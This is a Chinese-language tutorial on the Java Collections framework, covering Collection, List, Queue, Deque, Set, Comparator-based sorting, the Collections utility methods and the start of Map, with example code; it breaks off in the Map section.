(Java)集合框架

news2024/9/22 10:01:18

1.集合的简介

集合Collection,也是一个数据容器,类似于数组,但是和数组是不一样的。集合是一个可变的容器,可以随时向集合中添加元素,也可以随时从集合中删除元素。另外,集合还提供了若干个用来操作集合中数据的方法。

集合里的数据,我们称之为元素(elements);合只能用来存储引用类型的数据不能存储八大基本数据类型的数据

2.泛型的引入

为了避免从集合中获取对象后的强转,Java SE 5.0 以后,使用新特性”泛型”,用来指定要存放在集合中的对象类型。

3.集合与数组区别

1.数组是定长的容器,一但实例化完成,长度不能改变集合是变长的,可以随时事物进行增删操作。

2.数组中可以存储基本数据类型和引用数据类型的元素,集合中只能存储引用数据类型的元素。

3.数组的操作比较单一,只能通过下标进行访问。集合中提供了若干个方便对元素进行操作的方法。

注意点:在存储引用类型时,集合与数组,存储的其实都是对象的地址

即通过集合的地址,去找元素的地址,从而找到对应的元素对象。如下图:

4.集合框架体系图

5.Collection接口

Collection 接口是 List、Set 和 Queue 接口的父接口,该接口里定义了他们三个子接口的共同方法。既可用于操作 Set 集合,也可用于操作 List 和 Queue 集合。作为父接口,其子类集合的对象,存储元素的特点,可能是无序的,也可能是有序的,因此在父接口中并没有定义通过下标获取元素的方法功能。

    (1)常用方法

1.E add(E e) 向集合中添加元素

        Collection<Integer> c1 = new ArrayList<>();
        c1.add(1);
        c1.add(2);
        c1.add(3);
        c1.add(4);
        c1.add(5);

2. boolean isEmpty()  判断集合是否为空

 boolean empty = c1.isEmpty();

3.int size(): 返回的是集合元素的个数

        int size = c1.size();
        System.out.println(size);//5

4.String toString():把集合转成字符串输出

·       String string = c1.toString();
        System.out.println(string);//[1, 2, 3, 4, 5]

5.addAll(Collection c) :把指定的c集合放入集合中,往后追加,只能加入相同类型的元素。

        Collection<Integer> c2 = new ArrayList<>();
        c2.add(4);
        c2.add(5);
        c2.add(6);
        c2.add(7);
        c2.add(8);
        c1.addAll(c2);
        System.out.println(c1);//[1, 2, 3, 4, 5, 4, 5, 6, 7, 8]

6.boolean contains(Object o):查看集合中是否包含某个元素o

        boolean b = c1.contains(8);
        System.out.println(b);//true
        boolean b1 = c1.contains(9);
        System.out.println(b1);//false

7.boolean containsAll(Collection c):查看集合中是否包含c集合

        Collection<Integer> c3 = new ArrayList<>();
        c3.add(5);
        c3.add(8);
        c3.add(7);
        c3.add(6);
        boolean b2 = c1.containsAll(c3);
        System.out.println(b2);//true

8.boolean  equals(Object o)  :判断两个集合是否相同

        Collection<Integer> c4 = new ArrayList<>();
        c4.add(5);
        c4.add(8);
        c4.add(7);
        c4.add(6);
        boolean equals = c3.equals(c4);
        System.out.println(equals);//true

9.boolean  remove(Object o):移除集合里的元素o

        boolean b3 = c4.remove(5);
        System.out.println("是否移除成功:"+b3);
        System.out.println(c4);//[8, 7, 6]

10. boolean removeAll(Collection<?> c) : 从集合中删除另一个集合c中所具有的元素。即删除和c集合相交的所有元素。

遍历集合,将每一个元素带入到参数集合中判断是否存在,如果存在,就删除这个元素。

        System.out.println(c1);//[1, 2, 3, 4, 5, 4, 5, 6, 7, 8]
        Collection<Integer> c6 = new ArrayList<>();
        c6.add(4);
        c6.add(5);
        c6.add(6);
        c6.add(10);
        c6.add(15);
        System.out.println(c6);//[4, 5, 6, 10, 15]
        boolean b4 = c1.removeAll(c6);
        System.out.println(b4);//true
        System.out.println(c1);//[1, 2, 3, 7, 8]

11. boolean retainAll(Collection c) :保留和集合c相交的所有元素,只要和集合c相交都要保留,即使集合中有重复的,如下:

        System.out.println(c1);//[1, 2, 3, 4, 5, 4, 5, 6, 7, 8]
        Collection<Integer> c6 = new ArrayList<>();
        c6.add(4);
        c6.add(5);
        c6.add(6);
        c6.add(10);
        c6.add(15);
        System.out.println(c6);//[4, 5, 6, 10, 15]
        boolean b4 = c1.retainAll(c6);
        System.out.println(b4);//true
        System.out.println(c1);//[4, 5, 4, 5, 6]

12.void clear():清空c1

        System.out.println(c6);//[4, 5, 6, 10, 15]
        c6.clear();
        System.out.println(c6);//[]

13.toArray():转成Object 数组

        System.out.println(c1);
        Object[] array = c1.toArray();//可以用下标输出元素
        System.out.println(Arrays.toString(array));

6.集合的迭代

1.增强for循环遍历集合

public static void main(String[] args)  {
        Collection<String> num = new ArrayList<>();
        num.add("A");
        num.add("B");
        num.add("C");
        num.add("D");

        for (String s : num){
            System.out.print(s);  //ABCD
        }
    }

2.迭代器

迭代器Iterator,是一个接口, Collection集合中有一个方法 iterator() 可以获取这个接口的实现类 对象。在这个迭代器中,维护了一个引用,指向集合中的某一个元素。默认指向一个集合前不存在的元 素,可以认为是下标为-1的元素。

迭代器的工作原理:循环调用 next() 方法进行向后的元素指向,并返回新的指向的元素。同时,在向 后进行遍历的过程中,使用 hasNext() 判断是否还有下一个元素可以迭代。

在迭代器使用的过程中,需要注意:

  • 不应该对集合中的元素进行修改 ,要修改也可以,但是要用迭代器的方法进行修改,不能使用集合自己的方法

  • 不应该对集合的长度进行修改,同上

使用迭代器遍历集合:

   //第一步:获取要遍历的集合对象的迭代器对象
        Iterator<Integer> it = num.iterator();
        //第二步:问是否有下一个元素
        while (it.hasNext()){
            //第三步:获取元素
            Integer a = it.next();//
            System.out.println(a);
        }

迭代接口提供了多个方法,用于迭代

-boolean hasNext():用于判断集合中是否有下一个元素。 可以形象的认为右指针,指针的最初位置在第一个元素的前面。

-E next():用于返回指针指向的那个元素,然后指针向后移动,为下一次的判断做准备。

-E remove():用于删除指针指向的那个元素。

        System.out.println(num);//[A, B, C, D]
        Iterator<String> it = num.iterator();
        while (it.hasNext()){
            if (it.next()=="C"){
                //使用集合自己的删除方法,如果要删除的元素存在重复的话,会报异常
                //num.remove(element);
                //可以使用迭代器自己的方法remove方法
                it.remove();
            }
        }
        System.out.println(num);//[A, B, D]

迭代器的源码解析:

三个成员变量:

                 cursor:记录下一次要返回的元素的下标

                 lastRet:记录上一次刚刚返回的元素的下标

                expectedModCount:预计的修改次数。默认为集合的长度,与modCount的值息息相关  注意:集合在调用add(E e)方法添加元素时,modCount++。

hasNext():return cursor!=size:当光标的值为集合长度时,没有下一个元素了

next(): 1.检查expectedModCount和 modCount的值是否相等,不相等报异常

2.光标的值先赋值给lastRet。相当于指针后移。光标的值+1,为下一次的hasNext()做准备工作 。

新的lastRet的值就是指针指向的元素,也就是刚刚取出来的元素

remove(): 1.检查expectedModCount和 modCount的值是否相等,不相等报异常

2.调用ArrayList的 E remove(int index)做真正的删除元素操作。 而 E remove(int remove)里面调用了System.Arraycopy()方法,  从指定的index+1处,向前移动一位,以此形式做删除操作。

    1 2 3 4 5 6     要删除4  ,4的下标就是inedx ,从后一位开始拷贝后面的元素,即

    1 2 3 5 6    就把4删除了。

index的值是lastRet赋值的。

因为后续的元素向前移动了,因此cursor也要向前移动一次,即cursor = lastRet, 如果不向前移动,会漏掉元素,即index+1这个位置上的元素,就会被漏掉

最重要的是,remove(int index)里面进行了modCount++操作。  但是,迭代器的remove里,进行重新赋值expectedModCount=modCount

7.List接口

(1)简介

  1. List 是一个元素有序、且可重复的集合,集合中的每个元素都有其对应的顺序索引,从0开始

  2. List 允许使用重复元素,可以通过索引来访问指定位置的集合元素。

  3. List 默认按元素的添加顺序设置元素的索引

  4. List 集合里添加了一些根据索引来操作集合元素的方法

   (2)ArrayList和LinkedList

        这两个类都是List接口的实现类(子类)

ArrayList是实现了基于动态数组的数据结构,对象存储在连续的位置上。

LinkedList基于双链表的数据结构,链表中的每个节点都包含了前一个和后一个元素的引用

即有前指针和后指针

对元素的获取和修改,ArrayList优于LinkedList,后者需要移动指针。

删除和插入元素时,LinkedList 优于ArrayList,后者需要移动数据。

(3)常用方法

ArrayList和LinkedList两个实现类的常用方法基本相同

1)添加方法

        1.boolean add(E e) 作用:向列表末尾添加指定的元素
        List<String> list = new ArrayList<>();
        list.add("a");
        list.add("b");
        list.add("c");
        list.add("a");
        System.out.println(list);//[a, b, c, a]
        2.void add(int index, E element)作用:在列表的指定位置添加元素
        System.out.println(list);//[a, b, c, a]
        //根据元素的添加顺序设置索引
        list.add(1,"d");
        System.out.println(list);//[a, d, b, c, a]
        3.boolean addAll(Collection c )作用:将集合c中的所有元素添加到列表的结尾
         System.out.println(list);//[a, b, c, a]
        List<String>  list1 = new ArrayList<>();
        list1.add("1");
        list1.add("2");
        list1.add("3");
        list1.add("4");
        list.addAll(list1);//往集合的末尾添加另一个集合的元素
        System.out.println(list);//[a, b, c, a, 1, 2, 3, 4]
        4.boolean addAll(int index, Collection c)将集合c中的所有元素添加到列表的指定位置
        System.out.println(list);//[a, b, c, a]
        List<String>  list1 = new ArrayList<>();
        list1.add("1");
        list1.add("2");
        list1.add("3");
        list1.add("4");
        list.addAll(2,list1);//往集合的指定索引处添加另一个集合的元素
        System.out.println(list);//[a, b, 1, 2, 3, 4, c, a]

2)获取元素

1.E get(int index)作用:返回列表指定位置的元素
        System.out.println(list1);//[1, 2, 3, 4]
        System.out.println(string);//4

3)查找元素

1.int indexOf(Object obj)作用:返回列表中指定元素第一次出现的位置,如果没有该元素,返回-1,也可做元素查询来用,即查看该集合中是否有这个元素。
        List<String> list = new ArrayList<>();
        list.add("a");
        list.add("b");
        list.add("c");
        list.add("a");
        System.out.println(list);
        int i = list.indexOf("c");//返回元素第一次出现的下标
        System.out.println(i);//2
        //可以用来查看集合是否含有某个元素
        if (list.indexOf("c")!=-1){
            System.out.println("元素存在");
        }else {
            System.out.println("元素不存在");
        }
2.int lastIndexOf(Object obj)作用:返回列表中指定元素最后一次出现的位置,如果没有该元素,返回-1
        List<String> list = new ArrayList<>();
        list.add("a");
        list.add("b");
        list.add("c");
        list.add("c");
        list.add("a");
        System.out.println(list);//[a, b, c, c, a]
        int i = list.lastIndexOf("c");//返回元素最后一次出现的下标
        System.out.println(i);//3

4)移除元素

1.E remove(int index)作用:移除集合中指定位置的元素,返回被移除掉的元素对象
        System.out.println(list);//[a, b, c, c, a]
        String i = list.remove(2);
        System.out.println(i);//c
        System.out.println(list);//[a, b, c, a]

5)修改元素

1.E set(int index, E element)作用:用指定元素替换指定位置上的元素,返回被替换出来的元素对象
         //用d替换掉索引2的元素
        String s = list.set(2, "d");//返回替换出来的元素,即指定索引处的元素
        System.out.println(s);//c
        System.out.println(list);//[a, b, d, c, a]
        //可以通过这个方法实现元素的交换,如索引1和索引3处的元素进行交换
        String s1 = list.set(1, list.set(3, list.get(1)));//返回的是索引1处的元素
        System.out.println(s1);//b
        System.out.println(list);//[a, c, d, b, a]

 全体元素扩大十倍:

        List<Integer> nums = new ArrayList<>();
        for (int i = 1; i <= 10; i++) {
            nums.add(i);
        }
        System.out.println(nums);//[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
        for (int i = 0; i < nums.size(); i++) {
            nums.set(i,nums.get(i)*10);
        }
        System.out.println(nums);//[10, 20, 30, 40, 50, 60, 70, 80, 90, 100]

6)截取子集

1.ist subList(int fromIndex, int toIndex)作用:截取子集,返回集合中指定的fromIndex 到 toIndex之间部分视图,包前不包后
        System.out.println(list);//[a, b, c, c, a]
        List<String> list2 = list.subList(1, 3);//返回指索引之间的元素集合,包前不包后
        System.out.println(list2);//[b, c]
        //在list2集合中用“h"替换掉索引1处的元素
        String s = list2.set(1, "h");//[b, h]
        System.out.println(s);//c
        System.out.println(list2);//
        //查看对截取的元素集合进行修改,是否影响原集合
        System.out.println(list);//[a, b, h, c, a]结果上可以看出,原集合被修改了

(4)ListIterator

ListIterator是Iterator接口的子接口,继承到了Iterator中所有的方法,同时自己也添加了若干个方法。 允许使用ListIterator在进行元素迭代的时候,对集合中的数据进行修改,或者对集合的长度进行修改。 同时,使用ListIterator还可以进行倒序的迭代。

注意:在进行迭代的过程中,允许修改集合。但是要注意,这个修改集合,只能通过接口中的方法进行,并不能够通过集合中的方法进行修改。

public static void main(String[] args)  {
        List<String> list = new ArrayList<>();
        list.add("a");
        list.add("b");
        list.add("c");
        list.add("d");
        list.add("a");
        System.out.println(list);
        ListIterator<String> iterator = list.listIterator();
        while (iterator.hasNext()){
            String next = iterator.next();
            if (next=="c"){
//                //在迭代过程中删除这个元素
//                iterator.remove();
//                // 在迭代的过程中,添加一个元素(加在当前迭代的这个元素的后面)
//                iterator.add("f"); //两个连用可以达到修改的效果
//                // 在迭代的过程中,对当前迭代的元素进行修改,不能和上述两个方法连用
                iterator.set("g");

            }
        }
        System.out.println(list);

    }

Iterator接口中没有添加add方法和set方法。但是可以用它遍历和删除集合

public static void main(String[] args)  {
        List<String> list = new ArrayList<>();
        list.add("a");
        list.add("b");
        list.add("c");
        list.add("d");
        list.add("a");
        System.out.println(list);
        Iterator<String> it = list.iterator();
        while (it.hasNext()){
            String next = it.next();
            System.out.println(next);
        }
    }

也可以使用增强for循环进行遍历。

       for(String lists:list){
           System.out.println(lists);
       }

 (5)集合转数组 T[]  toArray(T[]  a)

Object[] toArray() 将集合转成Object[]  一旦想要使用数组中元素的自己的方法和属性。还需要强转

List<String> names = new ArrayList<>();
        names.add("michael");
        names.add("peter");
        names.add("mark");

        Object[] array = names.toArray();
        //获取第二个元素的第二个字符
        Object obj = array[1];
        if (obj instanceof  String){//判断是不是同一类型的
            String str = (String) obj;//进行强转
            char ch = str.charAt(1);
            System.out.println("ch:"+ch);
        }

 T[] toArray(T[] a)将集合转成数组。只需要传入一个元素类型的数组对象,就可以返回该类型的数组

        String[] arr = new String[0];
        String[] arr1 = names.toArray(arr);
        System.out.println(Arrays.toString(arr1));
        //判读第一个元素是不是以el结尾
        boolean b = arr1[0].endsWith("el");
        System.out.println(b);

(6)数组转集合Arrays.asList(T...    a)

1.数组转成的集合对象,不能修改长度

 String[] names = new String[5];
        names[0] = "michael";
        names[1] = "tom";
        names[2] = "lucy";
        names[3] = "lily";
        names[4] = "john";
        List<String> list = Arrays.asList(names);
        System.out.println(list);
        //将集合第二个元替换成张三
        String s = list.set(1, "张三");//没有更改长度
        System.out.println(s);//tom
        System.out.println(list);//[michael, 张三, lucy, lily, john]

        //下面两个操作都是修改长度,运行时会报错
//        list.remove(2);//移除是修改集合的长度
//        System.out.println(list);
//         list.add("aaaa");//也是修改长度
//         System.out.println(list);

2.如果想要进行增删,可以将集合拷贝到另一个集合中,进行操作

/**
         * 向集合中添加新元素,张三和李四。然后将张三和第一个元素进行交换
         */
        System.out.println(list);//[michael, tom, lucy, lily, john]
        List<String>  list1 = new ArrayList<>();
        list1.addAll(list);//把list集合拷贝到list1集合中
        list1.add("张三");//可以修改长度
        list1.add("李四");
        int i = list1.indexOf("张三");
        Collections.swap(list1,0,i);
        System.out.println(list1);//[张三, tom, lucy, lily, john, michael, 李四]

 

8.Queue子接口

(1)简介

  • 队列Queue也是Collection的一个子接口,它也是常用的数据存储结构,可以将队列看成特殊的线性表,队列限制对线性表的访问方式:只能从一端添加(offer)元素,从另一端取出(poll)元素

  • 队列遵循先进先出(FIFO first Input First Output)的原则

  • 实现类LinkedList也实现了该接口,选择此类实现Queue的原因在于Queue经常要进行添加和删除操作,而LinkedList在这方面效率比较高。

(2)常用方法

1.boolean offer(E e)作用:将一个对象添加到队尾,如果添加成功返回true

       Queue<Integer> queue = new LinkedList<>();
       queue.offer(1);//将一个对象添加到队尾
       queue.offer(2);
       queue.offer(3);
       queue.offer(4);
       queue.offer(5);
       System.out.println(queue);//[1, 2, 3, 4, 5]

2.E poll()作用:从队首删除并返回这个元素

        Integer poll = queue.poll();//删除队首元素,并返回
        System.out.println(poll);
        System.out.println(queue);
        //全部删除
        while (queue.size()>0){
            Integer poll1 = queue.poll();
            System.out.println(poll1);
        }
        //也可这样写
        //while (names.peek()!=null){
//            //查看头部元素是否为空
//            String old = names.poll();
//            System.out.println(old);
//            System.out.println(names);
//        }

        System.out.println(queue);//[]

3.E peek() 作用:查看队首的元素

        Integer peek = queue.peek(); //查看队首元素
        System.out.println(peek);

3.使用迭代器遍历和删除

Queue<Integer> qu = new LinkedList<>();
        qu.add(1);
        qu.add(2);
        qu.add(3);
        qu.add(4);
        qu.add(5);
        System.out.println(qu);
        Iterator<Integer> it = qu.iterator();
        while (it.hasNext()){
            //遍历元素
            Integer next = it.next();
            System.out.println(next);
            //删除元素
//            if (next.equals(3)){
//                it.remove();
//            }
        }

(3)Deque接口:双端队列

        1.介绍

双端队列:即从队列的两头都可以入队和出队

                Deque接口,实现了双端队列的存储结构,它是Queue的子接口。

                        对应的实现类,还是LinkedList();

     2.提供的方法:

             

        //创建一个双端队列
        Deque<String> names = new LinkedList<>();
        //添加第一个元素   offer()
        names.offer("小明");

                1.offerFirst:从队列的头部进入

//第二个元素从队列的头部进入   offerFirst()
        names.offerFirst("小红");

                2.offerLast:从队列的末尾进入

        //第二个元素从队列的尾部进入   offerLast()
        names.offerLast("小芳");
        System.out.println(names);//[小红, 小明, 小芳]

                3.pollFirst:移除队列的头部(poll()方法也可)

        //移除队列的头部 ,移除并返回  poll()  pollFirst()
        String p1 = names.pollFirst();
        System.out.println(p1);
        System.out.println(names);//[小明, 小芳]

                4.pollLast:从队列的尾部移除元素

        //从栈的尾部移除
        String p2 = names.pollLast();
        System.out.println(p2);
        System.out.println(names);//[小明]

(4)使用Deque模拟栈的存储结构:

栈: First Input Lsat Output  先进后出

   1.对应的方法:push():从栈的出口进入,将元素推进去

        //创建一个存储结构
        Deque<String> stack = new LinkedList<>();
        //从栈的出口进入,对应方法push,表示将元素推进去
        stack.push("micheal");//推入到栈的底部
        stack.push("lucy");//在最底层的上一层
        stack.push("lily");
        stack.push("tom");
        System.out.println(stack);//[tom, lily, lucy, micheal]

2.出栈:pop()方法,将元素弹出栈结构

        //出栈(弹出):对应的方法 pop(),将元素弹出栈结构
        while (stack.size()>0){
            String el = stack.pop();//弹出并返回元素
            System.out.print(el);//tom lily lucy micheal 弹出顺序(先进后出)
        }

9.Set接口,是collection的子接口

1.简介

1.Set集合中的元素是无序的(取出的顺序与存入的顺序无关)

(一旦存入,在存储结构里的顺序就固定了。和存入的先后顺序无关)

2.Set集合中的元素不能重复(即不能把同一个东西或者相似的东西两次添加到同一个Set容器中,每次放入时都会进行判断是否存在,如果存在,就不添加。)

3.set接口里的方法都是Collection接口的方法,没有新增的方法。

2.实现类

1)HashSet是Set接口的典型实现

大多时候都是用这个实现类。

HashSet 按 Hash 算法来存储集合中的元素,因此具有很好的存取和查找性能。

特点:

  • 1) 不能保证元素的排列顺序

  • 2) HashSet 不是线程安全的

  • 3) 集合元素可以是 null

当向 HashSet 集合中存入一个元素时,HashSet 会调用该对象的 hashCode() 方法来得到该对象的 hashCode 值,然后根据 hashCode 值决定该对象在 HashSet 中的存储位置。

如果两个元素的 equals() 方法返回 true,但它们的 hashCode() 返回值不相等,hashSet 将会把它们存储在不同的位置,但依然可以添加成功。

2)LinkedHashSet 是 HashSet 的子类

  • LinkedHashSet 是 HashSet 的子类

  • LinkedHashSet 集合根据元素的 hashCode 值来决定元素的存储位置,但它同时使用链表维护元素的次序,这使得元素看起来是以插入顺序保存的。

  • LinkedHashSet 插入性能略低于 HashSet,但在迭代访问 Set 里的全部元素时有很好的性能。

  • LinkedHashSet 不允许集合元素重复。

3.TreeSet 是 SortedSet 接口的实现类

TreeSet集合是用来对元素进行排序的,同样他也可以保证元素的唯一。TreeSet 可以确保集合元素处于排序状态。

TreeSet集合的元素是有序的,即内部维护一个二叉树算法的排序方式

TreeSet 支持两种排序方法:自然排序和定制排序。默认情况下,TreeSet 采用自然排序。(即升序排序),如果想要改变排序方式。可以自定义一个比较器。

public static void main(String[] args) {
        Set<String> set = new TreeSet<>();
        set.add("a");
        set.add("h");
        set.add("b");
        set.add("f");
        set.add("d");
        set.add("bob");
        set.add("bab");
        System.out.println(set);//字母按字典顺序排序的

        Comparator c1 = new Comparator<Integer>() {
            @Override
            //形参类型要一致
            public int compare(Integer o1, Integer o2) {
                return o2-o1;//降序排序
            }
        };
        Set<Integer> nums = new TreeSet<>(c1);
        nums.add(1);
        nums.add(10);
        nums.add(20);
        nums.add(2);
        System.out.println(nums);
    }

4.Set的去重原理

1)HashSet 、LinkedHashSet去重原理

hashCode相同时,调用equals方法,相同就是相同元素,反之则不是。

注意:每个hash值对应的位置都维护了一个单向链表。可以进入存储 ,hash值相同 * equals值不同的元素。

 对于把对象存储在Set集合中的情况。

public class Person {
    private String name;
    private int age;
    public Person() {}
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

//    public boolean equals(Object obj) {
//        if(obj == null){
//            return false;
//        }
//        if(!(obj instanceof Person)){
//            return false;
//        }
//        if(this == obj){
//            return true;
//        }
//        Person p = (Person)obj;
//        return name.equals(p.getName()) && age == p.getAge();
//
//    }
//
//    /**
//     * 重写hashCode方法的原则:  尽量让所有的成员变量都参与运算。
//     * @return
//     */
//    public int hashCode() {
//        return name.hashCode() + age;
//    }


    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试1: 不重写equals和hashCode方法

public static void main(String[] args) {
        Set<Person> ps  = new HashSet<Person>();
        //存入集合四个Person对象
        ps.add(new Person("michael",18));
        ps.add(new Person("john",19));
        ps.add(new Person("tom",18));
        ps.add(new Person("michael",18));

        System.out.println(" ps :" + ps);
        //需求:查看有没有一个叫michael并且是18的人
        Person p1 = new Person("michael",18);
        Person p2 = new Person("michael",18);
        //查看hashCode是否相等
        System.out.println(p1.hashCode());//1735600054
        System.out.println(p2.hashCode());// 21685669
        /**
         *  调用contains方法,判断是否包含p1
         *  1. 通过输出语句发现,返回的是false。
         *     先调用hashCode,如果值不相同。就认为不存在
         *     如果值相同,还是调用equals方法进行标记, equals返回true,表示存在,否则表示不存在
         *
         *  2. 结论:
         *      --。在自定义类的时候,如果这个类的对象要存入到Set集合中,需要重写hashCode和equals方法。
         *      -- 基于上述需求,我们自定义的类就应该必须重写这两个方法。因为我们也不知道未来如何使用。
         */

        boolean b = ps.contains(p1);
        System.out.println("是否包含:"+b);//false
    }

上述测试:如果不重写equals和hashCode方法,则调用的是父类里的方法,不能满足现在我们想要的效果。

如果两个元素的 equals() 方法返回 true,但它们的 hashCode() 返回值不相等,hashSet 将会把它们存储在不同的位置,但依然可以添加成功。

测试2:重写了equals和hashCode方法。

将元素存储到集合后,修改元素的hash值。

1.修改了元素的属性,会造成如下结果:

                 重复的元素就可以添加到集合中了

                 修改属性的那个元素,删除不掉了。

 2.综上所述:  当对象存入集合后就不要修改对象的属性

public static void main(String[] args) {
        Set<Person> set = new HashSet<>();

        Person p1 = new Person("小明",18);
        Person p2 = new Person("小张",19);
        Person p3 = new Person("小王",18);
        set.add(p1);
        set.add(p2);
        set.add(p3);

        //因为我们重新了equasl和hashCode方法,所以p4,添加失败
        Person p4 = new Person("小王",18);
        set.add(p4);
        System.out.println(set);
        //[Person{name='小王', age=18}, Person{name='小明', age=18}, Person{name='小张', age=19}]

        //修改p3的年龄为20岁
        p3.setAge(20);
        //添加与p3相同的对象
        Person p5 = new Person("小王",20);
        set.add(p5);
        System.out.println(set); //添加成功
//[Person{name='小王', age=20}, Person{name='小明', age=18}, Person{name='小王', age=20}, Person{name='小张', age=19}]

        //删除p3
        set.remove(p3);
        //从结果上看,Person("小王",20)并没有删除干净。
        System.out.println(set);
        //[Person{name='小王', age=20}, Person{name='小明', age=18}, Person{name='小张', age=19}]
    }

5.Set集合的遍历:使用增强for循环和迭代器。

public static void main(String[] args) {
        Set<Integer> set = new HashSet<>();
        set.add(10);
        set.add(20);
        set.add(30);
        set.add(40);
        set.add(50);
        System.out.println(set);
        /**
         * 1.set是无序的,因此不能使用fori遍历
         * 2.使用增强for循环遍历
         */
        for (Integer i : set){
            System.out.println(i);
        }
        /**
         * 3.使用迭代器进行遍历
         */
        Iterator<Integer> it = set.iterator();
        while (it.hasNext()){
            Integer ele = it.next();
            System.out.println(ele);
        }

2)TreeSet去重原理

如果元素的比较规则中,两个对象的比较结果是0,则视为是同一个元素,去重。

10.List排序

1.Comparable接口

1.自定义的类,如果过想要排序,不管是在数组中,还是在集合中。 要求元素必须是Comparable的子类型,因为底层需要调用Comparable的compareTo  所以,自定义的类,如果想要排序,那么必须实现Comparable接口,以及重写compareTo方法

比较规则:(默认升序)

  • 如当前对象大于给定对象,那么返回值应为>0的整数

  • 若小于给定对象,那么返回值应为<0的整数

  • 若两个对象相等,则应返回0

2.在上述的基础之上,如果想要重新指定排序方式,不应该修改compareTo的方法,而是应该 使用Comparator比较器接口,来定义一个新的比较规则。调用集合或者数组的相关重载方法,可以传入一个比较器这样的方式,进行比较。

此时我们可以采用Comparator接口回调的方式。它提供了一个抽象方法:

  • int compare(T o1 , T o2)

比较规则如下

  • 若o1>02, 则返回值应该>0

  • 若o1<o2,则返回值应该<0

  • 若o1==o2, 则返回值应该为0

工具类中提供了sort方法的重载方法

  • static void sort(List<T> list , Comparator c)

作用:使用比较器c,指定临时排序规则

 案例演示:

 public static void main(String[] args) {
        List<Integer> list = new ArrayList<>();
        for (int i = 0; i < 10; i++) {
            list.add((int)(Math.random()*100));
        }
        System.out.println(list);
        /**
         * 利用工具类里的排序方法
         */
        Collections.sort(list);//升序排序
        System.out.println(list);

        /**
         * 由于集合工具类的sort(List list)是默认的升序排序,要重写一个降序排序
         */
        Comparator c = new Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o2-o1;//(自动拆箱)降序排序
            }
        };
        Collections.sort(list,c);
        System.out.println(list);
    }

2.collections工具类

1)排序操作

1.reverse(List<?> list):反转 List 中元素的顺序
       List<Integer> list = new ArrayList<>();
       list.add(1);
       list.add(2);
       list.add(3);
       list.add(4);
       list.add(5);
       System.out.println(list);//[1, 2, 3, 4, 5]
       Collections.reverse(list);
       System.out.println(list);//[5, 4, 3, 2, 1]
2.shuffle(List):对 List 集合元素进行随机排序,即打乱集合
        System.out.println(list);//[1, 2, 3, 4, 5]
        Collections.shuffle(list);
        System.out.println(list);//[3, 2, 4, 5, 1]
3.sort(List):根据元素的自然顺序对指定 List 集合元素按升序排序
       List<Integer> list = new ArrayList<>();
       list.add(1);
       list.add(5);
       list.add(4);
       list.add(3);
       list.add(2);
       System.out.println(list);//[1, 5, 4, 3, 2]
       Collections.sort(list);
       System.out.println(list);//[1, 2, 3, 4, 5]
4.sort(List,Comparator):根据指定的 Comparator 产生的顺序对 List 集合元素进行排序
public static void main(String[] args)  {
       List<Integer> list = new ArrayList<>();
       list.add(1);
       list.add(5);
       list.add(4);
       list.add(3);
       list.add(2);
       System.out.println(list);//[1, 5, 4, 3, 2]
        //降序排序
        Comparator<Integer>  c  = new Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o2 - o1;
            }
        };
       Collections.sort(list,c);
       System.out.println(list);//[5, 4, 3, 2, 1]
    }
5.swap(List,int, int):将指定 list 集合中的 i 处元素和 j 处元素进行交换
public static void main(String[] args)  {
       List<Integer> list = new ArrayList<>();
       list.add(1);
       list.add(5);
       list.add(4);
       list.add(3);
       list.add(2);
       System.out.println(list);//[1, 5, 4, 3, 2]
       Collections.swap(list,1,3);
       System.out.println(list);//[1, 3, 4, 5, 2]
    }

2)查找、替换

1.Object max(Collection):根据元素的自然顺序,返回给定集合中的最大元素
        System.out.println(list);//[1, 5, 4, 3, 2]
        Integer max = Collections.max(list);
        System.out.println(max);//5
2.Object max(Collection,Comparator):根据 Comparator 指定的顺序,返回给定集合中的最大元素
        System.out.println(list);//[1, 5, 4, 3, 2]
        //降序排序
        Comparator<Integer>  c  = new Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o2 - o1;
            }
        };
        Integer max = Collections.max(list, c);
        System.out.println(max);//1  
3.Object min(Collection)
        System.out.println(list);//[1, 5, 4, 3, 2]
        Collections.sort(list);
        System.out.println(list);//[1, 2, 3, 4, 5]
        Integer min = Collections.min(list);
        System.out.println(min);//1
4.Object min(Collection,Comparator)
        System.out.println(list);//[1, 5, 4, 3, 2]
        //降序排序
        Comparator<Integer>  c  = new Comparator<Integer>() {
            @Override
            public int compare(Integer o1, Integer o2) {
                return o2 - o1;
            }
        };
        Collections.sort(list,c);
        System.out.println(list);//[5, 4, 3, 2, 1]
        Integer min = Collections.min(list,c);
        System.out.println(min);//5
5.int frequency(Collection,Object):返回指定集合中指定元素的出现次数
public static void main(String[] args)  {
       List<Integer> list = new ArrayList<>();
       list.add(1);
       list.add(5);
       list.add(5);
       list.add(4);
       list.add(3);
       list.add(2);
       System.out.println(list);//[1, 5, 5, 4, 3, 2]
        int frequency = Collections.frequency(list, 5);
        System.out.println(frequency);//2
    }
6.boolean replaceAll(List list,Object oldVal,Object newVal):使用新值替换 List 对象的所有旧值
        System.out.println(list);//[1, 5, 5, 4, 3, 2]
        Collections.replaceAll(list,5,6);
        System.out.println(list);//[1, 6, 6, 4, 3, 2]

11.Map接口

 1.简介

Map是集合框架中的另一个父接口,它用来保存具有映射(一对一)关系的数据,这样的数据称之为键值对(Key-Value-Pair)。key可以看成是value的索引。特点如下:

  • key和value必须是引用类型的数据

  • 作为key,在Map集合中不允许重复,但是可以为null。Value可以重复

  • key和value之间存在单向一对一关系,通过指定的key总能找到唯一,确定的value

根据内部数据结构的不同,Map接口有多种实现类,

(1)HashMap   :底层使用了Hash表和红黑树的数据结构

   (2)TreeMap :底层使用的二叉树。

Map里的元素也是无序的(在结构中的顺序和存入顺序无关)

 2.常用方法

1.put():存入元素   (如果key相同,value不同,则会覆盖掉原有的value)

       Map<String,Integer> map = new HashMap<>();
       map.put("a",1);
       map.put("b",2);
       map.put("c",3);
       map.put("d",4);
       map.put("d",5);
       //key值相同,会覆盖前一个的value值,即可以不可以重复
